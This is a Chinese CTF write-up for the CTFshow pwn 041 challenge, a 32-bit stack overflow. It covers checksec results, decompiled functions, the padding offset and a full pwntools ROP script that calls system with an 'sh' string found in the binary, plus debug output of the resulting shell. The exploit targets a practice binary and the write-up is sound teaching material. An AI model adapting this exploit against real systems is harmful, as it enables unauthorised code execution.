当前位置: 首页 > news >正文

【CTFshow-pwn系列】03_栈溢出【pwn 041】详解:32位 ROP 与字符串搜索

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡(pwn 039/040)中,虽然system/bin/sh分开了,但好歹它们都在。 来到PWN 041,题目给了我们一个更尴尬的局面:system,但没有/bin/sh

没有子弹的枪怎么用? 答案是:就地取材。Linux 系统中,sh通常是bashdash的软链接,执行sh的效果和/bin/sh几乎一样。只要我们能找到字符串"sh",就能再次完成拼图。

pwn 041 绝境求生:寻找 “sh” 的踪迹

题目信息与环境侦察

题目描述

pwn41: Hint: It has system, but don't have '/bin/sh'. Find something to replace it!

运行一下程序,看看有没有提示消息

解题过程:首先使用checksec检查程序保护情况。

  • Arch:i386-32-little(32位程序)
  • RELRO:Partial RELRO
  • Stack:No canary found(无栈哨兵)
  • NX:NX enabled(栈不可执行)
  • PIE:No PIE(地址固定)

侦察分析

  1. 32位架构:依然是栈传参。
  2. NX 开启:必须使用 ROP。
  3. No PIE:我们可以搜索固定地址的字符串。

第一部分:机制详解 —— 为什么 “sh” 可以替代 “/bin/sh”?

在 Linux 系统中:

  1. system("/bin/sh")
    • 直接调用绝对路径/bin/sh
    • 这是最稳健的方式,确保调用的是系统默认 Shell。
  2. system("sh")
    • 依靠环境变量PATH来查找名为sh的可执行文件。
    • 在绝大多数 Linux 环境下,/bin都在PATH中,所以system("sh")会找到/bin/sh并执行。
    • 效果等同于system("/bin/sh")

因此,我们的目标从寻找"/bin/sh"降低为寻找"sh"

第二部分:代码审计与漏洞挖掘

1. 静态分析 (IDA Pro)

Main 函数:

int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("Hint: It has system, but don't have '/bin/sh'..."); ctfshow(); puts("\nExit"); return 0; }

漏洞函数 ctfshow:

ssize_t ctfshow() { _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF // [漏洞点]:read 读取 50 字节 // 50 > 14,存在栈溢出 return read(0, buf, 0x32u); }

偏移量计算: 根据 IDA 注释[ebp-12h]

  • buf距离ebp的偏移是0x12(18 字节)。
  • 覆盖返回地址所需长度 =18(buf) +4(Old EBP) =22 字节

2. 寻找拼图零件

题目提供了两个辅助函数:

hint 函数:

int hint() { system("echo flag"); return 0; }
  • 贡献:提供了system函数的 PLT 地址。

useful 函数:

int useful() { return printf("sh"); }
  • 贡献:提供了字符串"sh"。虽然它是在printf中使用的,但字符串本身一定存储在数据段中。

第三部分:实战操作与 Payload 构造

1. 搜集地址

我们需要两个地址:

  1. system函数地址。
  2. 字符串"sh"的地址。

使用 pwntools 自动搜索:

# 获取 system 地址 system_addr = elf.sym['system'] # 获取 "sh" 地址 # elf.search(b'sh') 会返回所有匹配 'sh' 的地址迭代器 # 使用 next() 获取第一个结果 sh_addr = next(elf.search(b'sh'))

2. Payload 构造 (32位 ROP)

32位函数调用栈结构:Padding + 函数地址 + 返回地址(占位) + 参数1

# 偏移量 = 22 offset = 22 payload = flat([ b'a' * offset, # 1. 填充 system_addr, # 2. 调用 system 0xdeadbeef, # 3. system 的返回地址 (随便填) sh_addr # 4. system 的参数 ("sh") ])

3. 完整 EXP 脚本

from pwn import * # 1. 基础配置 context.log_level = 'debug' context.arch = 'i386' # 2. 建立连接 io = process('./pwn') # io = remote('pwn.challenge.ctf.show', 28176) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf = ELF('./pwn') # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr = elf.sym['system'] log.success(f"System Address: {hex(system_addr)}") # [零件2] "sh" 字符串地址 # 注意:有些题目可能没有显式的 "sh" 字符串,但我们可以搜索包含 "\x00" 结尾的片段 # 或者搜索 "sh" 两个字符的地址。 # 这里题目特意给了 useful 函数包含 "sh",所以一定能搜到。 try: sh_addr = next(elf.search(b'sh')) log.success(f"'sh' Address: {hex(sh_addr)}") except StopIteration: log.error("String 'sh' not found!") # 5. 构造 Payload # 偏移量 = 18 + 4 = 22 offset = 22 payload = flat([ b'a' * offset, system_addr, 0, # 返回地址占位符 sh_addr # 参数 "sh" ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()

运行结果

[DEBUG] Sent 0x22 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 50 84 04 08 00 00 00 00 ba 87 │aaaa│aaP·│····│··º·│ 00000020 04 08 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}

总结:PWN 041 的核心逻辑

维度之前的题目 (039)本题 (041)
目标system("/bin/sh")system("sh")
字符串来源题目直接给出/bin/sh题目隐晦给出sh,需搜索
核心技巧栈传参字符串替代与搜索

核心启示: 在 PWN 中,我们要学会“妥协”和“寻找替代品”。

  • 没有system?找execve
  • 没有/bin/sh?找sh,甚至$0(虽然较少见)。
  • 只要能达到执行 shell 的目的,用什么字符串并不重要。
  • Pwntools 的elf.search()是搜寻这些微小碎片的神器。

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

http://www.jsqmd.com/news/351392/

相关文章:

  • CANN AIGC文生图轻量推理:批量推理任务调度插件开发
  • 【5G通信】5G毫米波UDN中带有定位感知波束成形的系统级干涉评估模型附Matlab代码
  • CANN异构计算架构赋能AIGC:从模型推理到内容解析实战
  • 组合计数大学习
  • 宏智树AI封神!课程论文不用熬,新手速通高分作业秘籍
  • 中文的全息之美:字音藏道,字里见宇宙
  • 26年湛江一中高一期末考试第19题 函数新定义问题
  • Excel财务实战:零钞估算备用表制作全攻略
  • ai应用工具豆包
  • Ubuntu学习笔记 - 详解
  • Python毕设项目推荐-基于Django的在线考试与评估系统设计与实现题库管理、智能组卷、在线作答、自动阅卷及成绩分析【附源码+文档,调试定制服务】
  • 深入理解Prompt、Skills、Projects、MCP:掌握AI工作的完整逻辑,让AI成为你的得力助手
  • 飞凌嵌入式ELF-RV1126B-远程使用配置
  • Python毕设项目推荐-基于python的租房管理系统的设计与实现房源管理、租客匹配、电子合同签署及租后维护功能【附源码+文档,调试定制服务】
  • 宏智树AI太懂论文党!零基础搞定数据分析,图表规范盲审一次过
  • 宏智树 AI:告别问卷设计雷区!从无效提问到专业量表,一篇教你搞定实证调研
  • 程序员必看!大模型热门岗位全解析+系统学习指南,收藏这篇就够了:岗位需求图谱与技能迁移方案
  • win11共享文件夹
  • 如何用影刀RPA实现"PSD模板自动套图",将多张本地素材图填充至预设的排版"坑位"中? | 电商详情页排版自动化实战思路
  • 告别“色盲“检索!PageIndex让AI像专家一样阅读文档,准确率高达98.7%
  • 豆瓣电影数据采集分析推荐系统 | Python Vue Flask LSTM Echarts 多维度分析人工智能 大数据 毕业设计源码
  • 【状态估计】基于卡尔曼过滤器进行阻抗测量的无传感器电池内部温度估计附matlab代码
  • IPC与RPC通信构建方式
  • 算法系列之 基于Linux Alsa的AVAS实现
  • 【课程设计/毕业设计】python租房网站基于python的租房管理系统的设计与实现房屋信息、租赁合同、预约看房、退房登记【附源码、数据库、万字文档】
  • Python毕设项目:基于Django的在线考试与评估系统设计与实现(源码+文档,讲解、调试运行,定制等)
  • 【数据分析】辅导功能和ISSR-MDF模型的综合预警指标附Matlab代码
  • Unity空Update性能陷阱揭秘
  • AVAS@STC32G144K246, STC 内部12位DAC+OP, 外接模拟功放 直接发声
  • AI智能体从入门到精通:搭建专属智能客服保姆级教程,收藏这一篇就够了!